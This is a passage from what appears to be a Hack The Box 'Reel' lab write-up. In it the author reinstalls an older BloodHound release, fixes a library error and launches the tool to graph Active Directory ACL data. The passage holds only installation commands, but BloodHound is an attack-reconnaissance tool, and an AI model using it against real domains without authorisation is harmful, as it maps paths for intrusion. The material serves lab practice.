-rwxr-xr-x 1 nothing nothing 8483376 Jul 15 20:13 libvulkan.so
-rw-r--r-- 1 nothing nothing 1060 Jul 15 20:13 LICENSE
-rw-r--r-- 1 nothing nothing 4710103 Jul 15 20:13 LICENSES.chromium.html
drwxrwxr-x 2 nothing nothing 4096 Jul 15 20:13 locales
drwxrwxr-x 3 nothing nothing 4096 Jul 15 20:13 resources
-rw-r--r-- 1 nothing nothing 4835574 Jul 15 20:13 resources.pak
-rw-r--r-- 1 nothing nothing 50591 Jul 15 20:13 snapshot_blob.bin
drwxrwxr-x 2 nothing nothing 4096 Jul 15 20:13 swiftshader
-rw-r--r-- 1 nothing nothing 170904 Jul 15 20:13 v8_context_snapshot.bin
-rw-r--r-- 1 nothing nothing 5 Jul 15 20:13 version
-rw-r--r-- 1 nothing nothing 107 Jul 15 20:13 vk_swiftshader_icd.json
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [Tools/Bloodhound/BloodHound-linux-x64]
→ sudo ln -s $(pwd)/BloodHound /usr/local/bin/bloodhound
[sudo] password for nothing:
` ![](prg/11/3.png) ![](prg/11/4.png) ![](prg/11/5.png)
Now this means that you need to install the bloodhound version that was available at the time when the box was released, so let's install the Bloodhound version from 2018:
[ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ which bloodhound
/usr/local/bin/bloodhound
[ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ rm /usr/local/bin/bloodhound
rm: cannot remove '/usr/local/bin/bloodhound': Permission denied
[ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ sudo !!
[ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ sudo rm /usr/local/bin/bloodhound
[sudo] password for nothing:
[ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/Tools]
→ ls -lash
total 12K
4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 27 21:19 .
4.0K drwxr-xr-x 28 nothing nothing 4.0K Mar 27 12:49 ..
4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 27 21:19 Bloodhound
[ 10.0.99.99/16 ] [ /dev/pts/2 ] [~/Tools]
→ rm -rf Bloodhound
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools]
→ wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-linux-x64.zip
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools]
→ unzip BloodHound-linux-x64.zip
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools]
→ cd BloodHound-linux-x64
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64]
→ sudo ln -s $(pwd)/BloodHound /usr/local/bin/bloodhound
[sudo] password for nothing:
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64]
→ which bloodhound
/usr/local/bin/bloodhound
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64]
→ bloodhound
bloodhound: error while loading shared libraries: libgconf-2.so.4: cannot open shared object file: No such file or directory
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64]
→ sudo apt install libgconf-2-4 -y
Reading package lists... Done
[ 10.10.16.2/23 ] [ /dev/pts/14 ] [~/Tools/BloodHound-linux-x64]
→ bloodhound
Gtk-Message: 13:00:16.146: Failed to load module "gail"
Then we repeat the previous steps and see the result after uploading the acls.csv file:
## **Conclusion**
Here we can see the progress graph :